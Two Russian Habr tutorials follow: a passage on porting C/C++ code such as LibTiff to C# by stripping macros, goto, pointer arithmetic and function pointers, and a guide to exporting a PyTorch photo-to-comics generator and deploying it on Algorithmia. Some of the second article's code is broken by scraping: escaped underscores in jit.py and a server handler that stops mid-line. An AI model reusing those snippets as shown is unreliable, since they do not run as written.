Суть метода состоит в том, что оригинальный код большим количеством простых и мелких изменений приводится к упрощенному виду, сохраняя при этом свои возможности. Не нужно пытаться сразу изменить большой кусок кода и еще оптимизировать его впридачу. Продвигаться нужно как можно более мелкими шажками и после каждого шага прогонять тесты и фиксировать удачные изменения. То есть изменили немного — проверили. Если все в порядке – залили изменения в хранилище системы версий.
Процесс переноса можно разделить на три больших этапа:
1. В оригинальном коде постепенно заменяется все, что использует специфические возможности исходного языка, на более простое, но эквивалентное по функционалу. Это часто ведет к тому, что код начинает медленнее работать и не столь красиво выглядит. Не стоит об этом беспокоиться на данном этапе.
2. Измененный код приводится к виду, который сможет собрать новый компилятор.
3. Переносятся тесты, и код на новом языке доводится до совпадения по функционалу с оригинальным кодом.
Лишь после выполнения всех этих пунктов стоит вспомнить о скорости и красоте кода.
Основную сложность представляет первый этап. На данном этапе нужно преобразовать код на C/C++ в код на «чистом C++», максимально близкий по синтаксису к C#. На этом этапе нужно избавиться от:
* директив препроцессора
* операторов goto
* операторов typedef
* арифметики указателей
* указателей на функции
* множественного наследования
* “свободных” функций
Перейдем к рассмотрению конкретных шагов.
##### 2.1 Удаляем неиспользуемый код
Первым делом стоит удалить неиспользуемые части кода. Например, из LibTiff я сначала удалил все файлы, которые не относились к сборке Windows-версии. Потом в оставшихся файлах нашел операторы условной компиляции, в которые был заключен код, игнорируемый компилятором Visual Studio, и тоже их удалил. Примеры такого кода:
`> #if defined(\_\_BORLANDC\_\_) || defined(\_\_MINGW32\_\_)
>
>
> # define XMD\_H 1
>
>
> #endif`
<code>#if 0
extern const int jpeg\_zigzag\_order[];
#endif
Во многих случаях можно найти в исходном тексте неиспользуемые функции. Их тоже нужно отправить на вечный покой.
##### 2.2 Препроцессор и условная компиляция
Часто условная компиляция используется для создания специализированных версий программы. Это когда в одном или нескольких файлах при помощи #define настраивается, что будет использовано при компиляции, а код в других файлах заключен в #ifdef/#endif. Пример:
`> /\*jconfig.h for Microsoft Visual C++ on Windows 95 or NT. \*/
>
>
> .....
>
>
> #define BMP\_SUPPORTED
>
>
> #define GIF\_SUPPORTED
>
>
> .....
>
>
>
>
>
> /\* wrbmp.c \*/
>
>
> ....
>
>
> #ifdef BMP\_SUPPORTED
>
>
> ...
>
>
> #endif /\* BMP\_SUPPORTED \*/`
Рекомендую сразу выбрать, что будет использоваться, и избавиться от условной компиляции. Например, если вы решите, что поддержка картинок в формате BMP необходима, то нужно удалить из всего кода команды #ifdef BMP\_SUPPORTED.
Если вам необходимо сохранить создание нескольких версий программы, то нужно сделать набор тестов для каждой версии программы. Я советую оставить одну наиболее полную версию и работать с ней. После окончания переноса можно будет снова добавить необходимые команды условной компиляции.
На этом работа с препроцессором не заканчивается. Нужно найти команды препроцессора, которые эмулируют функции, и заменить их на полноценные функции.
`> #define CACHE\_STATE(tif, sp) do { \
>
>
> BitAcc = sp->data; \
>
>
> BitsAvail = sp->bit; \
>
>
> EOLcnt = sp->EOLcnt; \
>
>
> cp = (unsigned char\*) tif->tif\_rawcp; \
>
>
> ep = cp + tif->tif\_rawcc; \
>
>
> } while (0)`
Для корректного составления сигнатуры функции потребуется узнать типы всех переменных. Обратите внимание, что переменным BitAcc, BitsAvail, EOLcnt, cp и ep присваиваются значения. Эти переменные станут параметрами новой функции, и передавать их нужно по ссылке. То есть, например, для BitAcc нужно в сигнатуре функции написать uint32&.
Иногда программисты злоупотребляют командами препроцессора. Посмотрите на реальный пример такого злоупотребления:
`> #define HUFF\_DECODE(result,state,htbl,failaction,slowlabel) \
>
>
> { register int nb, look; \
>
>
> if (bits\_left < HUFF\_LOOKAHEAD) { \
>
>
> if (! jpeg\_fill\_bit\_buffer(&state,get\_buffer,bits\_left, 0)) {failaction;} \
>
>
> get\_buffer = state.get\_buffer; bits\_left = state.bits\_left; \
>
>
> if (bits\_left < HUFF\_LOOKAHEAD) { \
>
>
> nb = 1; goto slowlabel; \
>
>
> } \
>
>
> } \
>
>
> look = PEEK\_BITS(HUFF\_LOOKAHEAD); \
>
>
> if ((nb = htbl->look\_nbits[look]) != 0) { \
>
>
> DROP\_BITS(nb); \
>
>
> result = htbl->look\_sym[look]; \
>
>
> } else { \
>
>
> nb = HUFF\_LOOKAHEAD+1; \
>
>
> slowlabel: \
>
>
> if ((result=jpeg\_huff\_decode(&state,get\_buffer,bits\_left,htbl,nb)) < 0) \
>
>
> { failaction; } \
>
>
> get\_buffer = state.get\_buffer; bits\_left = state.bits\_left; \
>
>
> } \
>
>
> }`
В приведенном коде PEEK\_BITS и DROP\_BITS это тоже «функции», созданные тем же способом, что HUFF\_DECODE. В таком случае разумным может быть полностью включить код «функций» PEEK\_BITS и DROP\_BITS в HUFF\_DECODE для упрощения трансформации.
К следующему этапу облагораживания кода можно переходить после того, как остались лишь безобидные команды препроцессора:
`#define DATATYPE_VOID 0`
##### 2.3 Операторы switch и goto
От goto удается избавиться при помощи введения булевских переменных и/или изменения кода функции. Например, если в функции есть цикл, в котором используется goto за пределы цикла, то такую конструкцию можно поменять на установку булевской переменной, break и проверку значения переменной после цикла.
Следующим этапом я проверяю все конструкции switch на предмет наличия case-ов c отсутствующими break.
`> switch ( test1(buf) )
>
>
> {
>
>
> case -1:
>
>
> if ( line != buf + (bufsize - 1) )
>
>
> continue;
>
>
> /\* falls through \*/
>
>
> default:
>
>
> fputs(buf, out);
>
>
> break;
>
>
> }`
Это позволяется в C/C++, но запрещено в C#. Такие операторы switch можно или заменять на несколько блоков if, или, если case с fallthrough состоит из пары строк, дублировать общий код.
##### 2.4 Собираем камни
Все описанное ранее требует достаточно малого количества времени по сравнению дальнейшими задачами. Первой такой масштабной задачей является сбор данных и функций в классы. Целью является ситуации, когда каждая функция является методом какого-либо класса.
Если код был изначально написан на C++, то, скорее всего, функций (не методов) в нем достаточно мало. В этом случае нужно найти связь между существующими классами и «свободными» функциями. Обычно оказывается, что функции выполняют вспомогательную роль для классов. Если функция используется только в одном классе, то ее можно внести в этот класс как статический метод. Если функция используется из нескольких классов, то можно сделать новый класс и внести функцию статическим методом во вновь созданный класс.
Если код изначально был написан на С, то классов в нем не найти. Придется создавать их «с нуля», группируя функции вокруг данных, которыми они управляют. К счастью, обычно достаточно просто понять, какие данные и функции составляют одно логическое целое. Особенно, если код хоть и написан на C, но объектно-ориентирован.
Рассмотрим пример ниже:
`> struct tiff
>
>
> {
>
>
> char\* tif\_name;
>
>
> int tif\_fd;
>
>
> int tif\_mode;
>
>
> uint32 tif\_flags;
>
>
> ......
>
>
> };
>
>
> ......
>
>
> extern int TIFFDefaultDirectory(tiff\*);
>
>
> extern void \_TIFFSetDefaultCompressionState(tiff\*);
>
>
> extern int TIFFSetCompressionScheme(tiff\*, int);
>
>
> ......`
Легко видеть, что структура tiff просто напрашивается стать классом, а три функции, объявленные ниже, — публичными методами этого класса. Вот и стоит поменять struct на class и сделать функции статическими методами класса.
По мере того, как большинство функций будет становиться методами классов, станет легче понять, что делать с оставшимися «свободными» функциями. Не нужно забывать о том, что не все функции станут публичными методами. Обычно есть некоторое количество вспомогательных функций, не предназначенных для использования извне. Такие вспомогательные функции станут частными (private) методами.
После того, как функции стали статическими методами классов, я советую заняться заменой malloc/free на new/delete и добавлением конструкторов с деструкторами. Затем статические методы начинаем превращать в полноценные методы класса. По мере того, как методы будут переставать быть статическими, станет видно, что как минимум один параметр у них лишний. Это указатель на первоначальную структуру, которая стала классом. Разумеется, от такой избыточности нужно избавиться. Также может оказаться, что часть параметров у приватных функций можно сделать переменными членами класса.
##### 2.5 Снова препроцессор и множественное наследование
После того, как из набора функций и структур получился набор классов, пора вернуться к препроцессору. А точнее, к define-ам вроде приведенного ниже (других у вас к этому моменту быть уже не должно):
`#define STRIP_SIZE_DEFAULT 8192`
Подобные дефайны нужно превратить в константы и подобрать им класс, который станет их владельцем. Так же как и в случае с функциями, для вновь созданных констант, возможно, потребуется создать класс (например, Constants). Также как и функции, константы могут стать публичными или частными.
Если оригинальный код был написан на C++, то в нем может использоваться множественное наследование. Это еще одна вещь, от которой нужно избавиться для переноса на C#. Один из способов: изменить иерархию классов так, чтобы множественное наследование было исключено. Другой способ состоит в том, чтобы все классы, которые используются для множественного наследования, содержали только чисто виртуальные (pure virtual) методы и не содержали переменных. Пример:
`> class A
>
>
> {
>
>
> public:
>
>
> virtual bool DoSomething() = 0;
>
>
> };
>
>
> class B
>
>
> {
>
>
> public:
>
>
> virtual bool DoAnother() = 0;
>
>
> };
>
>
> class C : public A, B
>
>
> { ...... };`
Такое множественное наследование можно будет легко перенести в C#, объявив классы A и B интерфейсами.
##### 2.6 Оператор typedef
Перед тем, как перейти к следующей масштабной задаче по избавлению от арифметики указателей, стоит обратить внимание на объявления синонимов типов (оператор typedef). Иногда такие объявления используются для сокращения записи. Например:
`typedef vector Commands;`
Такие конструкции я предпочитаю встраивать, то есть менять в коде Commands на vector, и удалять.
Более интересны следующие применения typedef:
`> typedef signed char int8;
>
>
> typedef unsigned char uint8;
>
>
> typedef short int16;
>
>
> typedef unsigned short uint16;
>
>
> typedef int int32;
>
>
> typedef unsigned int uint32;`
Тут стоит обратить внимание на создаваемые имена типов. Очевидно, что typedef short int16; и typedef int int32; скорее помеха, а значит лучше поменять в коде int16 на short, а int32 на int. А вот остальные typedef очень даже полезны. Имеет смысл лишь немного скорректировать их имена так, чтобы они соответствовали названиям типов в C#. То есть сделать так:
`> typedef signed char sbyte;
>
>
> typedef unsigned char byte;
>
>
> typedef unsigned short ushort
>
>
> typedef unsigned int uint;`
Особое внимание стоит обратить на подобные конструкции:
`typedef unsigned char JBLOCK[64]; /* one block of coefficients */`
Данная конструкция вводит название JBLOCK для массива из 64 элементов типа unsigned char. Такие конструкции я предпочитаю превращать в классы. То есть делать JBLOCK классом, который содержит внутри себя массив, и предоставляет методы для доступа к элементам массива. Такой подход значительно упрощает понимание того, как создаются и удаляются массивы JBLOCK-ов (особенно 2-х и 3-мерные), а также как они изменяются в процессе работы программы.
##### 2.7 Арифметика указателей
Очередная масштабная задача — избавление от арифметики указателей (pointer-arithmetic). Многие программы на C/C++ достаточно сильно полагаются на эту возможность языка. Например:
`> void horAcc32(int stride, uint\* wp, int wc)
>
>
> {
>
>
> if (wc > stride) {
>
>
> wc -= stride;
>
>
> do {
>
>
> wp[stride] += wp[0];
>
>
> wp++;
>
>
> wc -= stride;
>
>
> } while ((int)wc > 0);
>
>
> }
>
>
> }`
Такие функции необходимо изменить, потому что в C# арифметика указателей по умолчанию недоступна. Вы можете использовать такую арифметику в небезопасном коде (unsafe code), но такой код имеет свои минусы. Поэтому я предпочитаю такой код изменять при помощи введения «арифметики индексов». То есть меняю код вот так:
`> void horAcc32(int stride, uint\* wp, int wc)
>
>
> {
>
>
> int wpPos = 0;
>
>
> if (wc > stride) {
>
>
> wc -= stride;
>
>
> do {
>
>
> wp[wpPos + stride] += wp[wpPos];
>
>
> wpPos++;
>
>
> wc -= stride;
>
>
> } while ((int)wc > 0);
>
>
> }
>
>
> }`
В итоге получается функция, которая делает ту же работу, но при этом не использует арифметики указателей и может быть легко перенесена на C#. Скорее всего измененный код будет работать медленнее, чем оригинальный. Еще раз напомню, что на данном этапе это неважно.
Особое внимание надо обратить на функции, которые в процессе работы изменяют переданные им указатели. Вариант исходной функции:
`void horAcc32(int stride, uint* & wp, int wc)`
В этом случае при изменении wp в функции horAcc32 изменяется указатель и в вызывающей функции. Подход с введением индекса можно использовать и в этом случае. Нужно лишь ввести индекс в вызывающей функции и передавать его в horAcc32.
`void horAcc32(int stride, uint* wp, int& wpPos, int wc)`
Часто бывает удобно сделать int wpPos полем класса (member variable).
##### 2.8 Указатели на функции
После арифметики указателей самое время заняться указателями на функции (если они есть в коде). Случаи использования указателей на функции можно разделить на три достаточно разных подвида:
1. указатели на функции создаются и используются внутри одного класса/функции
2. указатели на функции создаются и используются разными классами программы
3. указатели на функции создаются пользователями и передаются в программу (программа в данном случае – статическая или динамически загружаемая библиотека)
Пример для первого случая:
`> typedef int (\*func)(int x, int y);
>
>
>
>
>
> class Calculator
>
>
> {
>
>
> Calculator();
>
>
> int (\*func)(int x, int y);
>
>
>
>
>
> static int sum(int x, int y) { return x + y; }
>
>
> static int mul(int x, int y) { return x \* y; }
>
>
> public:
>
>
> static Calculator\* CreateSummator()
>
>
> {
>
>
> Calculator\* c = new Calculator();
>
>
> c->func = sum;
>
>
> return c;
>
>
> }
>
>
> static Calculator\* CreateMultiplicator()
>
>
> {
>
>
> Calculator\* c = new Calculator();
>
>
> c->func = mul;
>
>
> return c;
>
>
> }
>
>
> int Calc(int x, int y) { return (\*func)(x,y); }
>
>
> };`
В данном случае от того, какой из методов CreateSummator или CreateMultiplicator будет вызван, зависит функционал метода Calc в созданном классе. Я предпочитаю создать в классе внутренний enum, в котором описаны все возможные варианты для func, и поле, которое хранит значение из enum. Потом вместо указателя на функцию я создаю метод, состоящий из оператора switch (или нескольких if). Созданный метод выбирает, какую функцию вызвать, в зависимости от значения поля. Измененный вариант:
`> class Calculator
>
>
> {
>
>
> enum FuncType
>
>
> { ftSum, ftMul };
>
>
> FuncType type;
>
>
>
>
>
> Calculator();
>
>
>
>
>
> int func(int x, int y)
>
>
> {
>
>
> if (type == ftSum)
>
>
> return sum(x,y);
>
>
> return mul(x,y);
>
>
> }
>
>
>
>
>
> static int sum(int x, int y) { return x + y; }
>
>
> static int mul(int x, int y) { return x \* y; }
>
>
> public:
>
>
> static Calculator\* createSummator()
>
>
> {
>
>
> Calculator\* c = new Calculator();
>
>
> c->type = ftSum;
>
>
> return c;
>
>
> }
>
>
> static Calculator\* createMultiplicator()
>
>
> {
>
>
> Calculator\* c = new Calculator();
>
>
> c->type = ftMul;
>
>
> return c;
>
>
> }
>
>
> int Calc(int x, int y) { return func(x,y); }
>
>
> };`
Можно поступить иначе: ничего не менять пока, а в момент переноса на C# использовать делегаты.
Пример для второго случая (указатели на функции создаются и используются разными классами программы):
`> typedef int (\*TIFFVSetMethod)(TIFF\*, ttag\_t, va\_list);
>
>
> typedef int (\*TIFFVGetMethod)(TIFF\*, ttag\_t, va\_list);
>
>
> typedef void (\*TIFFPrintMethod)(TIFF\*, FILE\*, long);
>
>
>
>
>
> class TIFFTagMethods
>
>
> {
>
>
> public:
>
>
> TIFFVSetMethod vsetfield;
>
>
> TIFFVGetMethod vgetfield;
>
>
> TIFFPrintMethod printdir;
>
>
> };`
Такую ситуацию я предпочитаю менять путем превращения vsetfield/ vgetfield/ printdir в виртуальные методы. Код, который использовал vsetfield/ vgetfield/ printdir, будет создавать классы-потомки от TIFFTagMethods с необходимой реализацией виртуальных методов.
Пример для третьего случая (указатели на функции создаются пользователями и передаются в программу):
`typedef int (*PROC)(int, int);
int DoUsingMyProc (int, int, PROC lpMyProc, …);`
Тут лучше всего подойдут делегаты. То есть на данном этапе, пока еще продолжается шлифовка оригинального кода, ничего делать не надо, а при переносе в проект на C# нужно будет сделать делегат вместо PROC, а функция DoUsingMyProc станет принимать экземпляр делегата.
##### 2.9 Изоляция «проблемного» кода
Последнее изменение оригинального кода — изоляция всего того, что может доставить проблемы при смене компилятора. Это, например, код, который активно использует стандартную библиотеку C/C++ (функции типа fprintf, gets, atof и т.п.) или WinAPI. В C# такой код нужно будет изменить для использования методов из .NET Framework или, если потребуется, p/invoke. Советую в таком случае заглянуть на сайт <http://www.pinvoke.net>.
«Проблемный код» нужно максимально локализовать. Для этого можно создать класс со статическими методами, который будет оберткой вокруг стандартной библиотеки C/C++ и WinAPI. Тогда при переносе надо будет изменить только эту обертку.
##### 2.10 Меняем компилятор
Настал «момент истины» — пора перенести измененный код в проект, собираемый компилятором C#. Тут все достаточно просто, хоть и трудоемко. Нужно создать пустой проект, потом добавлять в него необходимые классы, копируя в эти классы код из аналогичных оригинальных классов.
В процессе придется удалять ненужное (разнообразные #include, например) и вносить косметические изменения. «Стандартные» изменения:
* объединение кода из .h и .cpp файлов
* замена obj->method() на obj.method()
* замена Class::StaticMethod на Class.StaticMethod
* удаление \* в func(A\* anInstance)
* замена func(int& x) на func(ref int x)
Большинство изменений на самом деле не представляет особого труда, но иногда придется часть кода комментировать. В основном комментировать приходится проблемный код, о котором шла речь в разделе 2.9. Основной целью является получить компилируемый код на C#. Скорее всего, он не будет работать, но всему свое время.
##### 2.11 Обрабатываем напильником
После того, как перенесенный код скомпилировался, его нужно довести до совпадения с оригиналом по функциональным возможностям. Тут потребуется создать второй набор тестов, который будет использовать для работы перенесенный код. Закомментированные ранее методы нужно аккуратно просмотреть и переписать их тело с использованием .NET Framework. Думаю, этот этап можно особо не пояснять. Хочу лишь обратить внимание на пару моментов.
При создание строк из массива байт (и наоборот) нужно внимательно выбирать используемую кодировку. Не стоит использовать Encoding.ASCII, так как она 7-битная и для байт больше 127 получится ‘?’ вместо символов. Лучше использовать текущую кодировку Encoding.Default или Encoding.GetEncoding(«Latin1»). Выбор кодировки зависит от того, что дальше будет с текстом или байтами. Если текст нужно будет показать пользователю – то лучше использовать Encoding.Default, а если из текста делаются байты для записи в бинарный файл – то лучше использовать Encoding.GetEncoding(«Latin1»).
Определенные проблемы может составить вывод форматированных строк (семейство функций printf в C/C++). Функционал String.Format в .NET отличается как по возможностям (он беднее), так и синтаксисом строки форматирования. Эту проблему можно решить двумя способами:
* создать класс, который будет выполнять то же самое, что функция printf
* изменить строки форматирования так, чтобы String.Format давал аналогичные результаты (не всегда возможно)
Если идти по первому пути, то стоит обратить внимание на уже существующую реализацию [«A printf implementation in C#»](http://www.codeproject.com/KB/printing/PrintfImplementationinCS.aspx).
Я предпочитаю второй путь. Если идти по нему, то поможет гугление по «c# format specifiers» (без кавычек) и «[Format Specifiers Appendix from C# in a Nutshell](http://oreilly.com/catalog/csharpnut/chapter/appb.pdf)».
После того, как все тесты, использующие перенесенный код, станут успешно выполняться, можно будет с уверенностью сказать, что перенос завершен. Вот теперь можно вспомнить о том, что код пока не вполне «в духе C#» (например, вместо свойств используются get-/set- методы) и заняться рефакторингом перенесенного кода. Можно при помощи профайлера поискать «узкие места» и заняться оптимизацией. Но это уже совсем другая история.
Удачного вам портирования!
**P.S. Статья не моя, написана Sergius Bobrovsky, у которого пока еще нету инвайта на Хабр. Если у кого есть свободные и не жалко поделиться, напишите в личку, пожалуйста.** | https://habr.com/ru/post/101653/ | null | ru | null |
# Как сделать бота, который превращает фото в комикс. Часть третья. Бесплатный serverless + GPU хостинг модели
[⇨ Часть 1](https://habr.com/ru/post/479218/)
[⇨ Часть 2](https://habr.com/ru/post/483168/)
Ну, отдохнули и хватит. С возвращением!
В предыдущих сериях мы с вами собрали данные и обучили свою первую модель.
Затем, ужаснувшись результатам, обучили еще с десяток.
Самое время показать наше творение миру!
Экспорт модели
--------------
Для начала пересохраним модель генератора в подходящий формат, чтобы нам не пришлось тащить декларации классов на хостинг.
Создадим небольшой файлик с расширением \*.py и скопируем в него код из-под спойлера ниже.
Пусть это будет jit.py:
**Код, который нужно бездумно скопипастить, заменив path, output\_path на свои**
```
# Заменяем path на путь к понравившейся итерации модели
# Нам нужен файл *G_A.pth - генератор фото -> комикс
# output_path - имя файла для экспортируемой модели
# может быть любым с расширением *.jit, главное - не забыть, куда мы его сохранили
path= '/checkpoints/resnet9_nowd_nodo_128to400_c8/60_net_G_A.pth'
output_path ='/checkpoints/resnet9_nowd_nodo_128to400_c8/resnet9_nowd_nodo_128to400_c8_160-50-60_1.jit'
import torch
from torch import nn
class ResnetGenerator(nn.Module):
"""Resnet-based generator that consists of Resnet blocks between a few downsampling/upsampling operations.
We adapt Torch code and idea from Justin Johnson's neural style transfer project(https://github.com/jcjohnson/fast-neural-style)
"""
def __init__(self, input_nc, output_nc, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False, n_blocks=6, padding_type='reflect'):
"""Construct a Resnet-based generator
Parameters:
input_nc (int) -- the number of channels in input images
output_nc (int) -- the number of channels in output images
ngf (int) -- the number of filters in the last conv layer
norm_layer -- normalization layer
use_dropout (bool) -- if use dropout layers
n_blocks (int) -- the number of ResNet blocks
padding_type (str) -- the name of padding layer in conv layers: reflect | replicate | zero
"""
assert(n_blocks >= 0)
super(ResnetGenerator, self).__init__()
if type(norm_layer) == functools.partial:
use_bias = norm_layer.func == nn.InstanceNorm2d
else:
use_bias = norm_layer == nn.InstanceNorm2d
model = [nn.ReflectionPad2d(3),
nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0, bias=use_bias),
norm_layer(ngf),
nn.ReLU(True)]
n_downsampling = 2
for i in range(n_downsampling): # add downsampling layers
mult = 2 ** i
model += [nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3, stride=2, padding=1, bias=use_bias),
norm_layer(ngf * mult * 2),
nn.ReLU(True)]
mult = 2 ** n_downsampling
for i in range(n_blocks): # add ResNet blocks
model += [ResnetBlock(ngf * mult, padding_type=padding_type, norm_layer=norm_layer, use_dropout=use_dropout, use_bias=use_bias)]
for i in range(n_downsampling): # add upsampling layers
mult = 2 ** (n_downsampling - i)
model += [nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2),
kernel_size=3, stride=2,
padding=1, output_padding=1,
bias=use_bias),
norm_layer(int(ngf * mult / 2)),
nn.ReLU(True)]
model += [nn.ReflectionPad2d(3)]
model += [nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
model += [nn.Tanh()]
self.model = nn.Sequential(*model)
def forward(self, input):
"""Standard forward"""
return self.model(input)
class ResnetBlock(nn.Module):
"""Define a Resnet block"""
def __init__(self, dim, padding_type, norm_layer, use_dropout, use_bias):
"""Initialize the Resnet block
A resnet block is a conv block with skip connections
We construct a conv block with build_conv_block function,
and implement skip connections in function.
Original Resnet paper: https://arxiv.org/pdf/1512.03385.pdf
"""
super(ResnetBlock, self).\_\_init\_\_()
self.conv\_block = self.build\_conv\_block(dim, padding\_type, norm\_layer, use\_dropout, use\_bias)
def build\_conv\_block(self, dim, padding\_type, norm\_layer, use\_dropout, use\_bias):
"""Construct a convolutional block.
Parameters:
dim (int) -- the number of channels in the conv layer.
padding\_type (str) -- the name of padding layer: reflect | replicate | zero
norm\_layer -- normalization layer
use\_dropout (bool) -- if use dropout layers.
use\_bias (bool) -- if the conv layer uses bias or not
Returns a conv block (with a conv layer, a normalization layer, and a non-linearity layer (ReLU))
"""
conv\_block = []
p = 0
if padding\_type == 'reflect':
conv\_block += [nn.ReflectionPad2d(1)]
elif padding\_type == 'replicate':
conv\_block += [nn.ReplicationPad2d(1)]
elif padding\_type == 'zero':
p = 1
else:
raise NotImplementedError('padding [%s] is not implemented' % padding\_type)
conv\_block += [nn.Conv2d(dim, dim, kernel\_size=3, padding=p, bias=use\_bias), norm\_layer(dim), nn.ReLU(True)]
if use\_dropout:
conv\_block += [nn.Dropout(0.5)]
p = 0
if padding\_type == 'reflect':
conv\_block += [nn.ReflectionPad2d(1)]
elif padding\_type == 'replicate':
conv\_block += [nn.ReplicationPad2d(1)]
elif padding\_type == 'zero':
p = 1
else:
raise NotImplementedError('padding [%s] is not implemented' % padding\_type)
conv\_block += [nn.Conv2d(dim, dim, kernel\_size=3, padding=p, bias=use\_bias), norm\_layer(dim)]
return nn.Sequential(\*conv\_block)
def forward(self, x):
"""Forward function (with skip connections)"""
out = x + self.conv\_block(x) # add skip connections
return out
import functools
norm\_layer = functools.partial(nn.InstanceNorm2d, affine=False, track\_running\_stats=False)
model = ResnetGenerator(3,3,64, norm\_layer=norm\_layer, use\_dropout=False, n\_blocks=9)
model.load\_state\_dict(torch.load(path))
model.eval()
model.cuda()
model.half()
trace\_input = torch.ones(1,3,256,256).cuda()
model = model.eval()
jit\_model = torch.jit.trace(model.float(), trace\_input)
torch.jit.save(jit\_model, output\_path)
```
Заменяем переменные на свои:
* **path** — путь к понравившейся итерации модели.
Нам нужен файл \*G\_A.pth — генератор фото -> комикс.
* **output\_path** — имя файла для экспортируемой модели, может быть любым, с расширением \*.jit, главное — не забыть, куда мы его сохранили.
> Не обязательно экспортировать генератор из последней эпохи обучения, возьмите тот, результаты которого нравятся вам больше всего.
Далее идем в консоль, переходим в папку с нашим файлом и пишем:
```
python jit.py
```
Voila! Модель готова к знакомству с внешним миром.
**Подробнее про torch jit**Документация: <https://pytorch.org/docs/stable/jit.html>
Если быть кратким, экспорт в jit позволяет сериализовать модель и не тащить за собой среду python, все зависимости и внешние модули, которые она могла использовать. Кроме torch, разумеется.
Хоть мы и будем хостить ее в python-среде, jit-модели можно использовать в самостоятельных приложениях.
Выбор хостинга
--------------
> Буду предельно откровенен и сразу признаюсь: мой внутренний deep learning enthusiast погиб где-то на втором часу изучения возможностей хостинга с поддержкой GPU. Так что если кто-то подскажет мне недорогой Serverless GPU хостинг, я буду более чем признателен.
Платить за полноценный сервер для своих экспериментов я не планировал, поэтому искал только serverless решения.
После мучительных поползновений по многостраничным тарифным планам гугла и амазона мой выбор пал на algorithmia.com
Причин несколько:
* **Web IDE** — идеальный вариант для чайников, хоть и жутко медленный, так как для проверки приходится ждать окончания билда. Вне рамок этого туториала я бы рекомендовал тестировать все локально, так как большинство ошибок возникает на этапе загрузки и сохранения файлов.
* **Минимальное количество опций** — сложно умереть от преждевременной старости, не дочитав до конца список вариантов.
* **Ну и последний аргумент** — за почти уже полгода экспериментов я до сих пор не потратил бесплатный стартовый баланс.
Хоть сейчас при регистрации персонального аккаунта и дают меньше, чем прошлым летом, этого все равно должно хватить на некоторое время, и уж точно на все наши эксперименты. В конце месяца накидывают еще кредитов, что не раз спасало меня от потенциального разорения.
Из минусов стоит отметить, что видеокарты там — только старые Tesla K80 на 12GB RAM, что накладывает соответствующие ограничения. В любом случае, пока мы доберемся до продакшена, мы уже будем понимать, что нам нужно от сервера.
Деплой модели
-------------
Ну что, в бой!
### Регистрация
Идем на <https://algorithmia.com/signup> и регистрируемся. Не уверен, что есть разница, какую профессию\тип аккаунта выбирать, но если вы найдете золотоносное комбо, дающее максимум кредитов, обязательно дайте знать в комментах!
### Загрузка модели
После регистрации мы окажемся в своем профиле.
Нам нужно создать папки для модели и картинок, которые она сгенерирует.
Для этого выбираем Data Sources в меню слева.
Кликаем New Data Source -> Hosted Data Collection
Назовем папку “My Models”.
В результате нас должно перекинуть на страницу со списком наших папок.
Создадим еще одну папку: New Collection -> “photo2comics\_out”
Самое время загрузить нашу свежеэкспортированную модель!
Переходим в папку My Models и перетаскиваем файл с моделью в браузер, либо выбираем Upload Files из меню.
Теперь скопируем ссылку на нашу модель, она пригодится нам ниже. Для этого кликнем на троеточие справа от имени файла.
С данными покончено, переходим к непосредственно алгоритму.
### Алгоритм
Возвращаемся в профиль по клику на Home в меню слева.
Далее кликаем Create New -> Algorithm и выбираем имя нашего алгоритма. Остальные опции заполняем как на картинке ниже.
**Картинка ниже**
Нажимаем Create New Algorithm и выбираем WebIDE в появившемся окошке.
*Если вы случайно закрыли попап, исходный код можно открыть, нажав Source Code в меню нашего алгоритма.*
Удаляем шаблонный код и вставляем наш:
**Еще немного кода для еще более бездумного копирования**
```
import Algorithmia
import torch
import torchvision
import torchvision.transforms as transforms
import cv2
from torch import *
import uuid
import gc
import requests
import numpy as np
client = Algorithmia.client()
# Скачиваем модель по ссылке file_path, сохраняем на наш виртуальный сервер
# под именем model_file и загружаем ее.
def load_model():
file_path = "{ ссылка на нашу загруженную модель }"
model_file = client.file(file_path).getFile().name
model = torch.jit.load(model_file).half().cuda()
return model
model = load_model().eval()
torch.cuda.empty_cache()
torch.cuda.ipc_collect()
torch.backends.cudnn.benchmark = True
# Скачиваем картинку по ссылке, уменьшаем до нужного размера,
# преобразуем в тензор и нормализуем,
# т.к. модель обучалась на нормализованных картинках
def preprocessing(image_path, max_size):
response = requests.get(image_path)
response = response.content
nparr = np.frombuffer(response, np.uint8)
img_res = cv2.imdecode(nparr, cv2.IMREAD_COLOR)
img_res = cv2.cvtColor(img_res, cv2.COLOR_BGR2RGB)
x = img_res.shape[0]
y = img_res.shape[1]
#if image is bigger than the target max_size, downscale it
if x>max_size and x<=y:
y = y*(max_size/x)
x = max_size
if y>max_size and y
```
Не забудьте вставить ссылку на загруженную модель. Ее мы скопировали в предыдущем разделе, когда загружали модель.
Находясь в WebIDE, справа вверху кликаем на DEPENDENCIES и заменяем текст на список наших зависимостей:
```
algorithmia>=1.0.0,<2.0
opencv-python
six
torch==1.3.0
torchvision
numpy
```
*Версия torch должна быть такой же или более новой, чем та, на которой мы сохраняли модель. В противном случаем могут быть ошибки при импорте jit модели.*
Нажимаем SAVE, BUILD и ждем завершения билда. Как только в консоли внизу появится сообщение об успешном билде, можем проверить работоспособность модели, отправив в консоль тестовый запрос:
```
{"in":"https://cdn3.sportngin.com/attachments/photo/9226/3971/JABC-9u_medium.JPG", "out":"data://username/photo2comics_out/test.jpg", "size":512}
```
Где {username} — ваш логин. Если все прошло успешно, в консоли появится “Success”, а в папке, которую мы указали (в данном случае — photo2comics\_out), появится сгенерированное изображение.
### Итоги
Поздравляю, мы дешево и сердито задеплоили нашу скромную модель!
В следующем выпуске мы с вами подружим модель с телеграм-ботом и, наконец, зарелизим уже все это добро.
Если вам не терпится опробовать модель в деле, вы всегда можете ознакомится с официальной документацией: <https://algorithmia.com/developers/api/>
Ну а чтобы скоротать время до следующей статьи, можете потыкать некоторых ботов, модели для которых я захостил на Алгоритмии:
[@selfie2animebot](https://t.me/selfie2animebot) — Превращает селфи в аниме
[@pimpmyresbot](https://t.me/pimpmyresbot) — Увеличивает разрешение х2 (максимум до 1400х1400)
[@photozoombot](https://t.me/photozoombot) — Создает 3д-зум видео из одного фото
[@photo2comicsbot](https://t.me/photo2comicsbot) — Собственно, виновник торжества
Не забывайте делиться результатами, идеями и возникшими проблемами в комментариях.
На этом на сегодня все. До новых встреч! | https://habr.com/ru/post/485824/ | null | ru | null |
